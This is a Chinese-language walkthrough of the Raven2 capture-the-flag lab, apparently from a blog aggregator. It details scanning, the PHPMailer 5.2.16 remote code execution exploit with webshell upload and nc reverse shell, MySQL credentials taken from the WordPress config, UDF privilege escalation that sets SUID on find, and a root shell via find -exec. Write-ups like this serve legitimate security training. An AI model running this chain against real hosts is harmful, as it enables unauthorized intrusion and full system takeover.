当前位置: 首页 > news >正文

Raven2

1. 信息收集

nmap:扫描主机存活

nmap -sn 192.168.203.0/24

可以看到靶机地址为192.168.203.131

nmap 192.168.203.131

也可以使用·:nmap --min-rate 10000 -p- x.x.x.x

查看开放服务

开放服务如上图:访问80端口http服务,是一个前端页面,使用dirsearch 扫描后台

可疑目录如下图,访问具有一定大小的目录,/vendor/

访问目录具有许多文件,这也是一个漏洞,叫做目录遍历

一个一个访问之后发现flag1

2. 拿shell

接着我们需要知道它这个网站是有什么构成,以此可以让我们打开突破口

访问到contact目录,发现具有发邮件的功能

查看到PHPMailer这个目录,发现邮件功能是PHPMailer提供的,它算是一个cms,我们使用kali查看是否具有这个的nday

searchsploit PHPMailer有这个版本漏洞

接下来可以利用相关版本,我们的版本是 5.2.16

locate 文件名

使用 cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

复制到root的根目录,然后使用vim 改一下文件信息

本机的是后面用来弹shell的,改完信息后,使用python启动该脚本。

它就会上传一个木马文件tan.php,使用nc开启监听4444端口,并且访问tan.php就会弹shell

访问弹shell

这个命令行过于限制,不能直观感受所以使用python命令产生交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

接下来我们要继续寻找flag

使用find / -name flag* 批量寻找筛选和flag相关的文件

找到啦flag2 flag3

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

flag3访问一下就行了

/var/www/flag2.txt

由下图看可以知道,我们是普通用户,接下来是重要的步骤,提权

3.数据库创函数

我们使用ls查看当前文件内容后,发现这个wordpress目录,这个目录是

WordPress 是一个开源的内容管理系统(CMS),主要使用 PHP 语言开发。它需要运行在支持 PHPMySQL 数据库的服务器上。PHP 负责处理网站的动态功能,而 MySQL 用于存储和管理网站的数据。

是个系统目录,通常会有数据库的信息,而我们在学数据提权时学过,数据库的一些关键文件是存在config,ini,等文件中,所以我们可以去找一找数据库的敏感信息。

可以看到数据库名和密码root,R@v3nSecurity

登入数据库查看

接下来使用数据库提权--------提权方式为UDF提权,利用mysql的自定义函数库udf,添加函数实现跨权限命令执行。

首先查看MySQL的版本,因为根据版本不同,来决定后面的dll文件放在什么地方

  1. select @@version

查询到版本是大于5.1的,所以dll文件放在MySQL的lib\plugin目录下。

  1. 再查看secure_file_priv 的值符不符合条件

show global variables like 'secure%';

是一个空值,则表示可以读写入文件任意位置,

再次使用kali一把梭, searchsploit udf ,查找udf漏洞,我们要找的是提权类型的

这里有两个,我们找到相近版本的,如何进行编译

  1. 先执行 gcc -g -c 1518.c
  1. 再执行 gcc -g -shared -o test.so 1518.o -lc

将编译好的目标文件 1518.o 链接为一个包含调试信息、依赖 C 标准库的共享库 test.so。生成的 test.so 可被其他程序(如 MySQL 加载插件时)动态调用,执行其中定义的函数

接下来要在靶机执行下载,将t.so下载才能在靶机中利用。

使用python3 -m http.server 80开启服务让靶机下载 t.so

登入数据库,创建自定义函数

**use mysql**进入mysql数据库

create table test(line blob);

这个表用来放dll文件就是 te.so 文件

insert into test values(load_file('/tmp/te.so'));

将操作系统中 /tmp/te.so 文件的内容读取出来,存入数据库的 test 表中

select * from test into dumpfile '/usr/lib/mysql/plugin/te.so';

test 表中存储的二进制数据,导出到操作系统的 /usr/lib/mysql/plugin/te.so 文件中

select * from mysql.func;

检查函数创建是否成功

create function do_system returns integer soname 'te.so';

创建自定义函数do_system

select do_system('chmod u+s /usr/bin/find');

给find命令赋予权限。

4.提权

退出MySQL ,在目录下创建一个文件夹

touch test

创建test的目的是触发后面的find命令,详解如下:

  • 创建 test 文件是为了让 find 能 “找到目标”:如果 test 不存在,find 会提示 “无此文件”,可能不会执行后续的 -exec 操作;
  • 只需一个存在的文件即可(名称任意,test 只是举例),目的是触发 find 的 “找到文件” 状态。
find test -exec "/bin/sh" \; 
  • 具体来说:
    1. 普通用户在终端输入 find test -exec "/bin/sh" \; 时,首先启动 find 进程;
    1. 由于 find 被设置了 SUID 权限,且所有者是 root,操作系统会给 find 进程赋予 root 权限(SUID 的核心作用:执行程序时,权限提升为程序所有者的权限);
    1. find 找到 test 文件后,通过 -exec 启动 /bin/sh 进程 —— 此时 /bin/sh 作为 find 的子进程,会继承父进程(find)的权限,即 root 权限;
    1. 最终用户获得的 /bin/sh 是一个具有 root 权限的交互式 shell,输入 whoami 会显示 root,输入 id 会显示 uid=0(root 的 UID),实现完全提权。

然后后面的命令就是以root的权限运行了

切换到root目录,找到flag4

flag4{df2bc5e951d91581467bb9a2a8ff4425}

至此Raven2结束

http://www.dtcms.com/a/453479.html

相关文章:

  • 面试陷阱:SQL 子查询 vs JOIN 的性能差异
  • 做蛋糕视频的网站非法网站开发
  • 设备管理平台项目部署文档(含自动化脚本)
  • 毕业设计除了网站还可以做啥外贸网站关键词
  • 前端内存泄漏:从原理到实践的全方位解析
  • app手机网站建设黄消防网站模板
  • 成品网站建设咨询怀化最新消息今天
  • 第八章 FPGA 片内 FIFO 读写测试实验
  • 2025年--Lc170--H289. 生命游戏(矩阵)--Java版
  • FC和SFC的原版说明书(扫描的PDF)
  • 网站建设方案文库我们是设计师 网站建设专家
  • 做网站自己买服务器好还是用别人的柳州企业网站建设
  • 震荡市中MACD-KDJ组合的动态参数优化思路
  • 一文了解解耦 Prefilling 与 Decoding(PD 分离)以及典型的 PD 分离方案
  • petri网自学(四)
  • 海思Hi3516CV610/Hi3516CV608开发笔记之环境搭建和固件编译
  • 学生化残差(Studentized Residual):概念、计算与应用
  • 网站建设杭州做rap的网站
  • 华为交换机实战配置案例:从基础接入到核心网络
  • OpenCV(四):视频采集与保存
  • 证券业智能化投研与分布式交易系统架构:全球发展现状、技术创新与未来趋势研究
  • AI Agent竞争进入下半场:模型只是入场券,系统架构决定胜负
  • 图书商城网站开发的目的网页设计实训报告总结1500字
  • 做俄语网站做网站傻瓜软件
  • 兼具本地式与分布式优势、针对大类通用型Web漏洞、插件外部动态化导入的轻量级主被动扫描器
  • 第4章 文件管理
  • JavaScript初识及基本语法讲解
  • RabbitMQ中Consumer的可靠性
  • 自学网站建设作业抖音代运营公司收费
  • drupal做虚拟发货网站做网站如何将一张图片直接变体